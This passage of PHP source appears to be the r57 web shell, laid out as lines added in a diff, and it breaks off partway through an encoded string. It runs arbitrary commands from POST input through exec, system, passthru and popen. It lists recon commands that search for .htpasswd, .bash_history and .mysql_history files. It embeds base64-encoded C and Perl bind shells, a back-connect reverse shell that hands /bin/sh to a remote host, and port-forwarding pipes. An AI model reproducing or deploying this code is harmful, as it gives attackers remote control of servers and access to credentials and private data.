dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>?</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if($windows&&!$safe_mode) + { + $uname = ex("ver"); + if(empty($uname)) { $safe_mode = 1; } + } +else if($unix&&!$safe_mode) + { + $uname = ex("uname"); + if(empty($uname)) { $safe_mode = 1; } + } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 